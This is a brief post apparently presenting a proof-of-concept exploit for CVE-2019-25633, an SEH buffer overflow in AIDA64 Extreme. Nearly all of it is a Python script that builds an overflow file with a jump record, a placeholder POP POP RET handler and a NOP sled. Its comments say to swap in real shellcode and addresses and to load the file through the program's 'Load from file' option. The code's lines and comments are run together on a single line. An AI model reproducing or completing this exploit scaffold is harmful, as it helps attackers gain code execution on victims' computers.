CVE-2019-25633 AIDA64 Extreme SEH缓冲区溢出漏洞

import sys import struct # PoC for CVE-2019-25633 - AIDA64 Extreme SEH Buffer Overflow # Description: Generates a malicious payload to trigger SEH overwrite. def create_payload(): # Offset to SEH structure (example offset, needs fuzzing for exact version) offset = 4060 # SEH Overwrite # Next SEH: jump to the shellcode (short jump) next_seh = b"\xeb\x06\x90\x90" # SE Handler: Address of POP POP RET instruction (non-ASLR module) # This address is a placeholder, replace with valid address from application DLLs seh_handler = struct.pack('<L', 0x10010000) # Nopsled nops = b"\x90" * 16 # Shellcode: MessageBoxA (Test payload) # Replace with actual shellcode for exploitation shellcode = b"\x90" * 100 # Padding padding = b"C" * 1000 payload = b"A" * offset + next_seh + seh_handler + nops + shellcode + padding return payload if __name__ == "__main__": print("[*] Generating payload for CVE-2019-25633...") buf = create_payload() print(f"[+] Payload length: {len(buf)}") # Save to file to be loaded in "Load from file" parameter with open("payload.txt", "wb") as f: f.write(buf) print("[+] Payload saved to payload.txt")